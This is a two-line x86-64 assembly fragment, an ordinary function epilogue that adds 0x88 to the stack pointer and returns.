add rsp, 0x88
ret